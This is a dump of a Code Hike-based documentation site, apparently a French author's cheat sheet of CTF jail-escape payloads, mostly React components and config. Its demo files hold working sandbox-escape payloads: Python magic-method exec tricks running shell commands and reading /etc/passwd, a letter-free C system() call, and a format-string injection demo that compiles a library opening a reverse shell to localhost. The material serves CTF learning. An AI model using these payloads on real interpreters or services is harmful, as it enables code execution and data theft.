15 | 16 | 17 | ), 18 | } 19 | -------------------------------------------------------------------------------- /app/landing/download.tsx: -------------------------------------------------------------------------------- 1 | "use client" 2 | import * as htmlToImage from "html-to-image" 3 | 4 | export function Download({ selector }: { selector: string }) { 5 | const onClick = async () => { 6 | const nodes = document.querySelectorAll(selector) as any 7 | for (const node of nodes) { 8 | const dataUrl = await htmlToImage.toPng(node as HTMLElement) 9 | var img = new Image() 10 | img.src = dataUrl 11 | document.getElementById("out")!.appendChild(img) 12 | } 13 | } 14 | return ( 15 |
16 | 17 |
18 |
19 | ) 20 | } 21 | -------------------------------------------------------------------------------- /content/docs/python-cheat-sheet/finding-sinks-from-modules.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: Finding sinks from modules 3 | description: Finding sinks from modules 4 | layout: PreviewAndImplementation 5 | --- 6 | 7 | import { CodeWithNotes } from "@/components/code/code-with-notes" 8 | 9 | ## !demo 10 | 11 | 12 | 13 | ## How to find sinks from modules 14 | 15 | You can also use the [object_walker](https://github.com/p0dalirius/objectwalker) library to find sinks from modules 16 | 17 | 18 | -------------------------------------------------------------------------------- /demos/link/page.tsx: -------------------------------------------------------------------------------- 1 | import { RawCode, Pre, highlight, AnnotationHandler } from "codehike/code" 2 | import Content from "./content.md" 3 | 4 | export default function Page() { 5 | return 6 | } 7 | 8 | async function Code({ codeblock }: { codeblock: RawCode }) { 9 | const highlighted = await highlight(codeblock, "github-dark") 10 | return ( 11 |
12 |   )
13 | }
14 | 
15 | const link: AnnotationHandler = {
16 |   name: "link",
17 |   Inline: ({ annotation, children }) => {
18 |     const { query } = annotation
19 |     return {children}
20 |   },
21 | }
22 | 


--------------------------------------------------------------------------------
/demos/autolink/page.tsx:
--------------------------------------------------------------------------------
 1 | import { RawCode, Pre, highlight, AnnotationHandler } from "codehike/code"
 2 | import Content from "./content.md"
 3 | 
 4 | export default function Page() {
 5 |   return 
 6 | }
 7 | 
 8 | async function Code({ codeblock }: { codeblock: RawCode }) {
 9 |   const highlighted = await highlight(codeblock, "github-dark")
10 |   return (
11 |     
12 |   )
13 | }
14 | 
15 | const link: AnnotationHandler = {
16 |   name: "link",
17 |   Inline: ({ annotation, children }) => {
18 |     const { query } = annotation
19 |     return {children}
20 |   },
21 | }
22 | 


--------------------------------------------------------------------------------
/components/annotations/word-wrap.tsx:
--------------------------------------------------------------------------------
 1 | import {
 2 |   AnnotationHandler,
 3 |   InnerLine,
 4 |   InnerPre,
 5 |   InnerToken,
 6 | } from "codehike/code"
 7 | 
 8 | export const wordWrap: AnnotationHandler = {
 9 |   name: "word-wrap",
10 |   Pre: (props) => ,
11 |   Line: (props) => (
12 |     
13 |       
19 | {props.children} 20 |
21 |
22 | ), 23 | Token: (props) => , 24 | } 25 | -------------------------------------------------------------------------------- /contributors.json: -------------------------------------------------------------------------------- 1 | { 2 | "contributors": [ 3 | { 4 | "name": "Mistraleuh", 5 | "url": "https://github.com/Mistraleuh", 6 | "avatar": "https://avatars.githubusercontent.com/u/91086003", 7 | "role": "Creator", 8 | "languages": ["Python", "JavaScript", "PHP", "Ruby", "C++", "C"] 9 | }, 10 | { 11 | "name": "Guillaume Kucia", 12 | "url": "https://github.com/KuciaGuillaume", 13 | "avatar": "https://avatars.githubusercontent.com/u/91091263", 14 | "role": "Contributor", 15 | "languages": ["Python", "JavaScript", "Ruby", "C++", "C"] 16 | } 17 | ] 18 | } -------------------------------------------------------------------------------- /tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es5", 4 | "lib": ["dom", "dom.iterable", "esnext"], 5 | "allowJs": true, 6 | "skipLibCheck": true, 7 | "strict": true, 8 | "noEmit": true, 9 | "esModuleInterop": true, 10 | "module": "esnext", 11 | "moduleResolution": "bundler", 12 | "resolveJsonModule": true, 13 | "isolatedModules": true, 14 | "jsx": "preserve", 15 | "incremental": true, 16 | "plugins": [ 17 | { 18 | "name": "next" 19 | } 20 | ], 21 | "paths": { 22 | "@/*": ["./*"] 23 | } 24 | }, 25 | "include": ["next-env.d.ts", "**/*.ts", "**/*.tsx", ".next/types/**/*.ts"], 26 | "exclude": ["node_modules"] 27 | } 28 | -------------------------------------------------------------------------------- /demos/python-cheat-sheet/create-char-and-string/content.md: -------------------------------------------------------------------------------- 1 | ```py -cwn 2 | # Normal 3 | print("hello") 4 | 5 | # hex escapes 6 | print("\x68\x65\x6c\x6c\x6f") 7 | 8 | # octal escapes 9 | print("\150\145\154\154\157") 10 | 11 | # unicode code points 12 | print("\u0068\u0065\u006c\u006c\u006f") 13 | print("\U00000068\U00000065\U0000006c\U0000006c\U0000006f") 14 | 15 | # Only with builtins 16 | print(().__doc__[56] + ().__doc__[17] + ().__doc__[3] + ().__doc__[3] + ().__doc__[34]) 17 | print(().__doc__[56].__add__(().__doc__[17].__add__(().__doc__[3].__add__(().__doc__[3].__add__(().__doc__[34]))))) 18 | 19 | 20 | print(chr(ord('ʚ')-ord('ȫ'))+chr(ord('ř')-ord('æ'))+chr(ord('ř')-ord('æ'))+chr(ord('ȉ')-ord('ơ'))) 21 | ``` 22 | -------------------------------------------------------------------------------- /demos/copy-button/button.tsx: -------------------------------------------------------------------------------- 1 | "use client" 2 | 3 | import { Copy, Check } from "lucide-react" 4 | import { useState } from "react" 5 | 6 | export function CopyButton({ text }: { text: string }) { 7 | const [copied, setCopied] = useState(false) 8 | 9 | return ( 10 | 25 | ) 26 | } 27 | -------------------------------------------------------------------------------- /content/docs/api.tsx: -------------------------------------------------------------------------------- 1 | import { Block, parseProps } from "codehike/blocks" 2 | import { z } from "zod" 3 | 4 | export function Usage(props: unknown) { 5 | const { left, right, caption } = parseProps( 6 | props, 7 | Block.extend({ left: Block, right: Block, caption: Block.optional() }), 8 | ) 9 | return ( 10 |
11 |
12 |
13 | {left.children} 14 |
15 |
16 | {right.children} 17 |
18 |
19 |
{caption?.children}
20 |
21 | ) 22 | } 23 | -------------------------------------------------------------------------------- /demos/c-cheat-sheet/create-int/content.md: -------------------------------------------------------------------------------- 1 | ```c -cwn 2 | #include 3 | 4 | int main() { 5 | const int h = (((__STDC__)*(__STDC__+__STDC__)+(__STDC__+__STDC__)+(__STDC__+__STDC__)*(__STDC__+__STDC__)+(__STDC__+__STDC__)+(__STDC__+__STDC__)) + (__STDC__)) * ((__STDC__+__STDC__)+(__STDC__+__STDC__)) * (__STDC__+__STDC__); 6 | const int e = (__CHAR_BIT__ +__LITTLE_ENDIAN__+ __LITTLE_ENDIAN__)*(__SIZEOF_POINTER__+__STDC_HOSTED__+__STDC_HOSTED__) + __STDC_HOSTED__; 7 | const int l = (__SCHAR_MAX__)-(((__BOOL_WIDTH__+__FLT16_MAX_10_EXP__))-(__STDC_UTF_16__-__SIZEOF_PTRDIFF_T__)); 8 | const int o = (__INT_FAST64_WIDTH__*__GCC_ATOMIC_WCHAR_T_LOCK_FREE)-(__SHRT_WIDTH__+__FLT16_HAS_INFINITY__); 9 | printf("%s\n", (char []){h, e, l, l, o, 0}); 10 | } 11 | ``` 12 | -------------------------------------------------------------------------------- /demos/python-cheat-sheet/magic-methods/content.md: -------------------------------------------------------------------------------- 1 | ```py -cwn 2 | # exit - fonctionne car c'est une instance de Quitter 3 | exit.__class__.__add__ = exec; exit + "import os; os.system('whoami')" 4 | quit.__class__.__add__ = exec; quit + "__import__('os').system('whoami')" 5 | 6 | # license - instance de _Printer 7 | license.__class__.__add__ = exec; license + "print(open('/etc/passwd').read())" 8 | credits.__class__.__add__ = exec; credits + "__import__('os').system('pwd')" 9 | copyright.__class__.__add__ = exec; copyright + "exec(input())" 10 | 11 | # help - instance de _Helper 12 | help.__class__.__sub__ = exec; help - "__import__('os').system('ls')" 13 | 14 | class X: pass 15 | x = X() 16 | x.__class__.__add__ = exec; x + "__import__('os').system('id')" 17 | ``` -------------------------------------------------------------------------------- /app/landing/logo.uidev.svg: -------------------------------------------------------------------------------- 1 | ui.dev -------------------------------------------------------------------------------- /app/landing/sponsors/oc-sponsors.js: -------------------------------------------------------------------------------- 1 | const parseCSV = require("./csv") 2 | const path = require("path") 3 | 4 | function getSponsors() { 5 | // https://opencollective.com/codehike/transactions?type=CREDIT 6 | const data = parseCSV(path.join(__dirname, "./codehike-transactions.csv")) 7 | 8 | const transactions = data.map((d) => ({ 9 | date: d["date"], 10 | name: d["oppositeAccountSlug"], 11 | amount: parseInt(d["amount"]), 12 | })) 13 | 14 | const totals = {} 15 | transactions.forEach((t) => { 16 | totals[t.name] = (totals[t.name] || 0) + t.amount 17 | }) 18 | 19 | const list = [] 20 | for (let name in totals) { 21 | list.push({ name, amount: Math.round(totals[name]) }) 22 | } 23 | 24 | return list 25 | } 26 | 27 | module.exports = getSponsors 28 | -------------------------------------------------------------------------------- /components/component-pack-link.tsx: -------------------------------------------------------------------------------- 1 | import { ArrowRight } from "lucide-react" 2 | 3 | export function ComponentPackLink() { 4 | return ( 5 |
6 | Don't have time to build it yourself? Get a documentation component 7 | library customized for your tech stack and design system. 8 | 18 |
19 | ) 20 | } 21 | -------------------------------------------------------------------------------- /app/landing/demo.md: -------------------------------------------------------------------------------- 1 | ```jsx !page 2 | (lambda:...).__globals__ 3 | 4 | // !rainbow(1:2) 5 | # obtain builtins from generators 6 | // !tt[/f_builtins/] foo 7 | (_ for _ in ()).gi_frame.f_builtins 8 | (await _ for _ in ()).ag_frame.f_builtins 9 | 10 | @exec 11 | @input 12 | // !callout[/def/] Can be class 13 | def a(): 14 | // !rainbow(1:) 1 15 | pass 16 | 17 | # walrus operator (>= python3.8) 18 | // !diff + 19 | [a:=().__doc__, print(a)] 20 | // !diff - 21 | (lambda a: print(a))(().__doc__) 22 | ``` 23 | 24 | ```py !content 25 | >>> import sys 26 | >>> frame = sys._getframe() 27 | >>> 28 | >>> frame.f_builtins == __builtins__.__dict__ 29 | True 30 | >>> frame.f_builtins['abc'] = 3 31 | >>> frame.f_builtins['abc'] 32 | 3 33 | >>> frame.f_builtins == __builtins__.__dict__ 34 | True 35 | ``` 36 | -------------------------------------------------------------------------------- /content/docs/TEMPLATES/filename.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: File name 3 | description: Show the file name in the code block 4 | layout: PreviewAndImplementation 5 | --- 6 | 7 | ## !demo 8 | 9 | Show a title or file name with the code block. 10 | 11 | 12 | 13 | ## !implementation 14 | 15 | ```tsx code.tsx -cw 16 | import { RawCode, Pre, highlight } from "codehike/code" 17 | 18 | // !fold[/className="(.*?)"/gm] 19 | async function Code({ codeblock }: { codeblock: RawCode }) { 20 | const highlighted = await highlight(codeblock, "github-dark") 21 | return ( 22 |
23 |
24 | {highlighted.meta} 25 |
26 |
27 |     
28 | ) 29 | } 30 | ``` 31 | -------------------------------------------------------------------------------- /components/copy-button.tsx: -------------------------------------------------------------------------------- 1 | "use client" 2 | 3 | import { Copy, Check } from "lucide-react" 4 | import * as React from "react" 5 | import { cn } from "../lib/utils" 6 | 7 | export function CopyButton({ 8 | text, 9 | className, 10 | }: { 11 | text: string 12 | className?: string 13 | }) { 14 | const [copied, setCopied] = React.useState(false) 15 | 16 | return ( 17 | 31 | ) 32 | } 33 | -------------------------------------------------------------------------------- /demos/classname/page.tsx: -------------------------------------------------------------------------------- 1 | import { RawCode, Pre, highlight, AnnotationHandler } from "codehike/code" 2 | import Content from "./content.md" 3 | 4 | export default function Page() { 5 | return 6 | } 7 | 8 | async function Code({ codeblock }: { codeblock: RawCode }) { 9 | const highlighted = await highlight(codeblock, "github-dark") 10 | return ( 11 |
16 |   )
17 | }
18 | 
19 | const className: AnnotationHandler = {
20 |   name: "className",
21 |   Block: ({ annotation, children }) => (
22 |     
{children}
23 | ), 24 | Inline: ({ annotation, children }) => ( 25 | {children} 26 | ), 27 | } 28 | -------------------------------------------------------------------------------- /content/blog/markdown.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: Skeuomorphic Markdown 3 | description: Breaking the shackles of static content. 4 | date: 2023-12-24 5 | authors: [pomber] 6 | draft: true 7 | --- 8 | 9 | This is how markdown is usually used: 10 | 11 | ```js 12 | import { frontmatter, Content } from "./some.md" 13 | ``` 14 | 15 | Examples: 16 | 17 | - https://docs.astro.build/en/guides/content-collections/ 18 | - https://contentlayer.dev/docs/concepts/content-modeling-dc68721f 19 | - https://nuejs.org/blog/introducing-nuemark/ 20 | 21 | One of the reasons why markdown has so good authoring experience is because of its focus on content, as oppose to presentation. 22 | 23 | This suits linear layouts, but it's not enough for more complex layouts. For more complex layouts we need to group pieces of content in sections, and put those sections in a hierarchy. 24 | -------------------------------------------------------------------------------- /content/components/slideshow/slideshow.tsx: -------------------------------------------------------------------------------- 1 | import { Slides, Controls } from "./slides" 2 | import { Pre, RawCode, highlight } from "codehike/code" 3 | 4 | export function Slideshow({ hike }: { hike: any }) { 5 | return ( 6 | ( 8 |
9 | 10 | 11 | 12 |
{step.children}
13 |
14 | ))} 15 | /> 16 | ) 17 | } 18 | 19 | async function Code({ codeblock }: { codeblock: RawCode }) { 20 | const info = await highlight(codeblock, "github-dark") 21 | return ( 22 |
26 |   )
27 | }
28 | 


--------------------------------------------------------------------------------
/demos/annotations/groups/page.tsx:
--------------------------------------------------------------------------------
 1 | import Content from "./content.md"
 2 | import { RawCode, Pre, highlight } from "codehike/code"
 3 | import { AnnotationHandler } from "codehike/code"
 4 | 
 5 | export default function Page() {
 6 |   return 
 7 | }
 8 | 
 9 | export async function Code({ codeblock }: { codeblock: RawCode }) {
10 |   const highlighted = await highlight(codeblock, "github-dark")
11 |   return (
12 |     
17 |   )
18 | }
19 | const borderHandler: AnnotationHandler = {
20 |   name: "border",
21 |   Inline: ({ annotation, children }) => {
22 |     const borderColor = annotation.query || "yellow"
23 |     return {children}
24 |   },
25 | }
26 | 


--------------------------------------------------------------------------------
/demos/annotations/regex/page.tsx:
--------------------------------------------------------------------------------
 1 | import Content from "./content.md"
 2 | import { RawCode, Pre, highlight } from "codehike/code"
 3 | import { AnnotationHandler } from "codehike/code"
 4 | 
 5 | export default function Page() {
 6 |   return 
 7 | }
 8 | 
 9 | export async function Code({ codeblock }: { codeblock: RawCode }) {
10 |   const highlighted = await highlight(codeblock, "github-dark")
11 |   return (
12 |     
17 |   )
18 | }
19 | const borderHandler: AnnotationHandler = {
20 |   name: "border",
21 |   Inline: ({ annotation, children }) => {
22 |     const borderColor = annotation.query || "yellow"
23 |     return {children}
24 |   },
25 | }
26 | 


--------------------------------------------------------------------------------
/demos/occurrences/content.md:
--------------------------------------------------------------------------------
 1 | ## Lorem Ipsum
 2 | 
 3 | One thing I miss while reading code on websites is the ability to highlight all occurrences of a particular piece of code.
 4 | 
 5 | This works similar to a code editor, you can select a token and all occurrences of that token will be highlighted.
 6 | 
 7 | ```js
 8 | function foo(ipsum, dolor = 1) {
 9 |   const sit = ipsum == null ? 0 : ipsum.sit
10 | "use client"
11 | 
12 | import { useState } from "react"
13 | import { Carousel } from "acme-carousel"
14 | 
15 | export default function Gallery() {
16 |   let [isOpen, setIsOpen] = useState(false)
17 | 
18 |   return (
19 |     
20 | 21 | {isOpen && } 22 |
23 | ) 24 | } 25 | ``` 26 | 27 | It also works if you selecte a word from a paragraph, try: button or `Carousel`. 28 | -------------------------------------------------------------------------------- /app/landing/profile.md: -------------------------------------------------------------------------------- 1 | I ([@pomber](https://github.com/pomber)) am working full-time on this project. The official reason is that _I want to raise the bar on the formatting of technical content_, but the main reason is that I'm having a lot of fun building it. 2 | 3 | The goal of [Code Hike](https://codehike.org) is to provide the best experience for both authors and consumers of technical content on the web. 4 | 5 | Your sponsorship not only helps keep the project running but also supports the innovation that inspired some of your favorite websites. 6 | 7 | Sponsorship perks: 8 | 9 | - **$299/month or more**: I'll join your company's Slack channel for direct feedbacks and feature requests. 10 | - **$499/month or more**: You get a spot on our Top Sponsors (limited to 6 spots). 11 | - **$999/month or more**: You get up to 1 hour a month of personalized support (two 30-minute calls). 12 | -------------------------------------------------------------------------------- /demos/python-cheat-sheet/good-to-know/page.tsx: -------------------------------------------------------------------------------- 1 | import { RawCode, Pre, highlight, AnnotationHandler } from "codehike/code" 2 | import Content from "./content.md" 3 | 4 | export default function Page() { 5 | return 6 | } 7 | 8 | async function Code({ codeblock }: { codeblock: RawCode }) { 9 | const highlighted = await highlight(codeblock, "github-dark") 10 | return ( 11 |
16 |   )
17 | }
18 | 
19 | const className: AnnotationHandler = {
20 |   name: "className",
21 |   Block: ({ annotation, children }) => (
22 |     
{children}
23 | ), 24 | Inline: ({ annotation, children }) => ( 25 | {children} 26 | ), 27 | } 28 | -------------------------------------------------------------------------------- /demos/python-cheat-sheet/magic-methods/page.tsx: -------------------------------------------------------------------------------- 1 | import { RawCode, Pre, highlight, AnnotationHandler } from "codehike/code" 2 | import Content from "./content.md" 3 | 4 | export default function Page() { 5 | return 6 | } 7 | 8 | async function Code({ codeblock }: { codeblock: RawCode }) { 9 | const highlighted = await highlight(codeblock, "github-dark") 10 | return ( 11 |
16 |   )
17 | }
18 | 
19 | const className: AnnotationHandler = {
20 |   name: "className",
21 |   Block: ({ annotation, children }) => (
22 |     
{children}
23 | ), 24 | Inline: ({ annotation, children }) => ( 25 | {children} 26 | ), 27 | } 28 | -------------------------------------------------------------------------------- /demos/python-cheat-sheet/retrieving-builtins/page.tsx: -------------------------------------------------------------------------------- 1 | import { RawCode, Pre, highlight, AnnotationHandler } from "codehike/code" 2 | import Content from "./content.md" 3 | 4 | export default function Page() { 5 | return 6 | } 7 | 8 | async function Code({ codeblock }: { codeblock: RawCode }) { 9 | const highlighted = await highlight(codeblock, "github-dark") 10 | return ( 11 |
16 |   )
17 | }
18 | 
19 | const className: AnnotationHandler = {
20 |   name: "className",
21 |   Block: ({ annotation, children }) => (
22 |     
{children}
23 | ), 24 | Inline: ({ annotation, children }) => ( 25 | {children} 26 | ), 27 | } 28 | -------------------------------------------------------------------------------- /demos/c-cheat-sheet/without-lower-letters/content.md: -------------------------------------------------------------------------------- 1 | ```c -cwn 2 | // !callout[/echo/] to see avaible macro 3 | // echo "" | gcc -dM -E - 4 | #include 5 | #include 6 | 7 | int main() { 8 | __WINT_TYPE__ L = (__SCHAR_MAX__)-(((__BOOL_WIDTH__+__FLT16_MAX_10_EXP__))-(__STDC_UTF_16__-__SIZEOF_PTRDIFF_T__)); 9 | __WINT_TYPE__ S = ((__DBL_DECIMAL_DIG__+__DBL_DIG__)*(__FLT_RADIX__))+__DBL_MANT_DIG__-__FLT_RADIX__; 10 | __WINT_TYPE__ DASH = (__INT_FAST32_WIDTH__)-(__FLT16_MIN_EXP__); 11 | __WINT_TYPE__ SLASH = DASH + __PIC__; 12 | __WINT_TYPE__ A = __INTMAX_WIDTH__+__STDC__; 13 | __WINT_TYPE__ SPACE = __INT_LEAST32_WIDTH__; 14 | 15 | // CAN ALSO WORK WITH __STRING(LS) 16 | printf("%s\n", __STRING(LS)); 17 | 18 | // !callout[/system/] you need to retrieve the offset 19 | system((__INT8_TYPE__ []){L, S, SPACE, DASH, L, A, SPACE, SLASH, 0}); 20 | } 21 | ``` 22 | -------------------------------------------------------------------------------- /app/source.ts: -------------------------------------------------------------------------------- 1 | import { map } from "@/.map" 2 | import { createMDXSource, defaultSchemas } from "next-docs-mdx" 3 | import { loader } from "next-docs-zeta/source" 4 | import { z } from "zod" 5 | 6 | export const docs = loader({ 7 | baseUrl: "/docs", 8 | rootDir: "docs", 9 | source: createMDXSource(map, { 10 | schema: { 11 | frontmatter: defaultSchemas.frontmatter.extend({ 12 | layout: z.string().default("Docs"), 13 | }), 14 | }, 15 | }), 16 | }) 17 | 18 | export const blog = loader({ 19 | baseUrl: "/blog", 20 | rootDir: "blog", 21 | source: createMDXSource(map, { 22 | schema: { 23 | frontmatter: defaultSchemas.frontmatter.extend({ 24 | authors: z.array(z.string()).default([]), 25 | date: z.date().default(new Date()), 26 | draft: z.boolean().default(false), 27 | className: z.string().default(""), 28 | }), 29 | }, 30 | }), 31 | }) 32 | -------------------------------------------------------------------------------- /demos/transpile/page.tsx: -------------------------------------------------------------------------------- 1 | import { RawCode } from "codehike/code" 2 | 3 | import Content from "./content.md" 4 | import ts from "typescript" 5 | import { CodeTabs } from "../tabs/page" 6 | 7 | export default function Page() { 8 | return 9 | } 10 | 11 | async function Code({ codeblock }: { codeblock: RawCode }) { 12 | // Since this is a RSC we can transpile stuff here 13 | // (there are probably more efficient ways to do this) 14 | const result = ts.transpileModule(codeblock.value, { 15 | compilerOptions: { 16 | module: ts.ModuleKind.CommonJS, 17 | target: ts.ScriptTarget.ESNext, 18 | }, 19 | }) 20 | 21 | const tsCode = { ...codeblock, meta: "typescript" } 22 | const jsCode = { 23 | ...codeblock, 24 | value: result.outputText, 25 | lang: "js", 26 | meta: "javascript", 27 | } 28 | 29 | return 30 | } 31 | -------------------------------------------------------------------------------- /content/blog/known-keys.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: Known keys 3 | description: When you need an object where all the keys are mapped to one type except some known keys that are mapped to different types. 4 | date: 2024-02-20 5 | authors: [pomber] 6 | draft: true 7 | --- 8 | 9 | Sources: 10 | 11 | - https://github.com/microsoft/TypeScript/issues/31153 12 | - https://github.dev/sindresorhus/type-fest/blob/main/source/merge.d.ts 13 | 14 | ```ts 15 | type MyType = { 16 | [s: string]: string 17 | foo: number 18 | } 19 | ``` 20 | 21 | When you need an object where all the keys are mapped to one type except some known keys that are mapped to different types. 22 | 23 | Why Omit doesn't work: 24 | 25 | ```ts 26 | type Omit = Pick> 27 | ``` 28 | 29 | ```ts 30 | interface FancyIndices { 31 | [x: symbol]: number 32 | [x: `${string}Token`]: string 33 | } 34 | ``` 35 | 36 | does this work? 37 | -------------------------------------------------------------------------------- /app/docs/[[...slug]]/preview-implementation.tsx: -------------------------------------------------------------------------------- 1 | import { Block, parseRoot } from "codehike/blocks" 2 | import React from "react" 3 | import { z } from "zod" 4 | import { Demo } from "@/components/demo" 5 | import { Pre, RawCode, highlight } from "codehike/code" 6 | import { CopyButton } from "@/components/copy-button" 7 | import { ComponentPackLink } from "@/components/component-pack-link" 8 | 9 | const ContentSchema = Block.extend({ 10 | demo: Block, 11 | implementation: Block.optional(), 12 | }) 13 | 14 | export function PreviewImplementation({ MDX }: { MDX: any }) { 15 | const { demo, implementation } = parseRoot(MDX, ContentSchema, { 16 | components: { Demo }, 17 | }) 18 | 19 | return ( 20 | <> 21 | {demo.children} 22 | {implementation && ( 23 | <> 24 |

Implementation

25 | {implementation.children} 26 | 27 | )} 28 | 29 | ) 30 | } 31 | -------------------------------------------------------------------------------- /demos/annotations/mark/page.tsx: -------------------------------------------------------------------------------- 1 | import Content from "./content.md" 2 | import { RawCode, Pre, highlight, InnerLine } from "codehike/code" 3 | import { AnnotationHandler } from "codehike/code" 4 | 5 | export default function Page() { 6 | return 7 | } 8 | 9 | export async function Code({ codeblock }: { codeblock: RawCode }) { 10 | const highlighted = await highlight(codeblock, "github-dark") 11 | return ( 12 |
17 |   )
18 | }
19 | const mark: AnnotationHandler = {
20 |   name: "mark",
21 |   AnnotatedLine: ({ annotation, ...props }) => (
22 |     
23 |   ),
24 |   Line: (props) => (
25 |     
29 |   ),
30 | }
31 | 


--------------------------------------------------------------------------------
/content/blog/fine-grained/code.tsx:
--------------------------------------------------------------------------------
 1 | import { InnerToken, RawCode } from "codehike/code"
 2 | import { Code as TheCode } from "@/components/code"
 3 | import { AnnotationHandler, InnerLine } from "codehike/code"
 4 | import { cn } from "@/lib/utils"
 5 | 
 6 | export async function Code(props: { codeblock: RawCode; className?: string }) {
 7 |   return 
 8 | }
 9 | 
10 | export const fblock: AnnotationHandler = {
11 |   name: "fblock",
12 |   Line: ({ annotation, ...props }) => {
13 |     const bg = "bg-sky-500/10"
14 |     const border = "border-sky-500"
15 | 
16 |     return (
17 |       
25 | 26 |
27 | ) 28 | }, 29 | } 30 | -------------------------------------------------------------------------------- /demos/annotations/basic/page.tsx: -------------------------------------------------------------------------------- 1 | import Content from "./content.md" 2 | import { RawCode, Pre, highlight } from "codehike/code" 3 | import { AnnotationHandler } from "codehike/code" 4 | 5 | export default function Page() { 6 | return 7 | } 8 | 9 | export async function Code({ codeblock }: { codeblock: RawCode }) { 10 | const highlighted = await highlight(codeblock, "github-dark") 11 | return ( 12 |
17 |   )
18 | }
19 | const borderHandler: AnnotationHandler = {
20 |   name: "border",
21 |   Block: ({ annotation, children }) => (
22 |     
{children}
23 | ), 24 | } 25 | 26 | const bgHandler: AnnotationHandler = { 27 | name: "bg", 28 | Inline: ({ annotation, children }) => ( 29 | {children} 30 | ), 31 | } 32 | -------------------------------------------------------------------------------- /content/docs/TEMPLATES/link.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: Link 3 | description: Add links to code snippets 4 | layout: PreviewAndImplementation 5 | --- 6 | 7 | ## !demo 8 | 9 | Add links to code snippets. 10 | 11 | **ipsum** is a link to example.com 12 | 13 | ## !implementation 14 | 15 | ```tsx code.tsx 16 | import { RawCode, Pre, highlight, AnnotationHandler } from "codehike/code" 17 | 18 | const link: AnnotationHandler = { 19 | name: "link", 20 | Inline: ({ annotation, children }) => { 21 | const { query } = annotation 22 | return {children} 23 | }, 24 | } 25 | 26 | async function Code({ codeblock }: { codeblock: RawCode }) { 27 | const highlighted = await highlight(codeblock, "github-dark") 28 | return
29 | }
30 | ```
31 | 
32 | ### Autolinking
33 | 
34 | Instead of manually adding links to code snippets, you can use a regex to automatically link URLs.
35 | 
36 | 
37 | 


--------------------------------------------------------------------------------
/demos/python-cheat-sheet/format-string/content.md:
--------------------------------------------------------------------------------
 1 | ```py -cwn
 2 | # Leak datas 
 3 | SECRET = 'YOUGOTME'
 4 | 
 5 | class User():
 6 |     def __init__(self, id, username):
 7 |         self.id = id
 8 |         self.username = username
 9 |     def __repr__(self):
10 |         return ''.format(u=self).format(i=self) # format string injection
11 | user = User(0, '{i.__init__.__globals__[SECRET]}')
12 | 
13 | # Can RCE 
14 | open("/tmp/lib.c", "wb").write(b"""#include \\n__attribute__((constructor))\\nvoid init() {\\nsystem("python3 -c \\\\"import os; import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(('localhost', 1234)); fd = s.fileno(); os.dup2(fd, 0); os.dup2(fd, 1); os.dup2(fd, 2); os.system('/bin/sh')\\\\"");\\n}""")
15 | import os
16 | os.system("gcc -shared -fPIC /tmp/lib.c -o lib.so")
17 | print("{0.__init__.__globals__[__loader__].load_module.__globals__[sys].modules[ctypes].cdll[/tmp/lib.so]}".format(user))
18 | ```
19 | 


--------------------------------------------------------------------------------
/components/annotations/pill.tsx:
--------------------------------------------------------------------------------
 1 | import { AnnotationHandler } from "codehike/code"
 2 | 
 3 | const colors = [
 4 |   "bg-green-500/20",
 5 |   "bg-teal-500/20",
 6 |   "bg-sky-500/20",
 7 |   "bg-violet-500/20",
 8 |   "bg-fuchsia-500/20",
 9 |   "bg-pink-500/20",
10 |   // if adding more colors, dont forget to update global.css
11 | ]
12 | 
13 | export const pill: AnnotationHandler = {
14 |   name: "pill",
15 |   Inline: ({ annotation, children }) => {
16 |     const n = Number(annotation.query || "1")
17 |     const bg = colors[n % colors.length]
18 |     return {children}
19 |   },
20 | }
21 | 
22 | export function Pill({
23 |   children,
24 |   n = 1,
25 | }: {
26 |   children: React.ReactNode
27 |   n: number
28 | }) {
29 |   const bg = colors[n % colors.length]
30 |   return (
31 |     
35 |       {children}
36 |     
37 |   )
38 | }
39 | 


--------------------------------------------------------------------------------
/components/annotations/tooltip.tsx:
--------------------------------------------------------------------------------
 1 | import { AnnotationHandler, InlineAnnotationComponent } from "codehike/code"
 2 | import {
 3 |   TooltipProvider,
 4 |   Tooltip,
 5 |   TooltipTrigger,
 6 |   TooltipContent,
 7 |   TooltipArrow,
 8 | } from "@/components/ui/tooltip"
 9 | 
10 | export const tooltip: AnnotationHandler = {
11 |   name: "tooltip",
12 |   Inline: ({ children, annotation }) => {
13 |     const { query, data } = annotation
14 |     return (
15 |       
16 |         
17 |           
18 |             {children}
19 |           
20 |           
26 |             {data?.children || query}
27 |           
28 |         
29 |       
30 |     )
31 |   },
32 | }
33 | 


--------------------------------------------------------------------------------
/content/docs/index.mdx:
--------------------------------------------------------------------------------
 1 | ---
 2 | title: 🏁 Introduction
 3 | description: Getting started with Code Hike
 4 | ---
 5 | 
 6 | Bienvenue sur ma page dédiée aux payloads de code. Ici je vais partager mes payloads de code dans divers languages de programmation pour s'échapper des jails.
 7 | 
 8 | ## 📚 Langages supportés
 9 | 
10 | - Python
11 | - JavaScript
12 | - PHP
13 | - Ruby
14 | - C++
15 | - C
16 | 
17 | ## 📋 Mon Approche
18 | 
19 | Dans la rédaction de ces payloads, je m'efforce de :
20 | 
21 | - Promouvoir l'apprentissage actif
22 | - Respecter l'éthique
23 | - Faire des payloads qui sont utilisables dans des challenges de CTF
24 | - Faire en sorte de trouver des payloads assez rares pour être tout le temps innovants
25 | 
26 | ## 🐞 Report de Bugs
27 | 
28 | Si vous trouvez des erreurs, des inexactitudes ou des fautes de frappe dans ces payloads, n'hésitez pas à me contacter ici:
29 | 
30 | - [Github](https://github.com/MisTraleuh)
31 | - [Discord](https://discord.com/users/474143573928050710) (Mistraleuh)
32 | - [Twitter](https://twitter.com/MisTraleuh)
33 | 


--------------------------------------------------------------------------------
/demos/token-transitions/code.tsx:
--------------------------------------------------------------------------------
 1 | "use client"
 2 | 
 3 | import React from "react"
 4 | import { HighlightedCode } from "codehike/code"
 5 | import { Pre } from "codehike/code"
 6 | import { tokenTransitions } from "@/components/annotations/token-transitions"
 7 | 
 8 | export function CodeSwitcher({ infos }: { infos: HighlightedCode[] }) {
 9 |   const [index, setIndex] = React.useState(0)
10 |   const next = () => setIndex((index + 1) % infos.length)
11 | 
12 |   return (
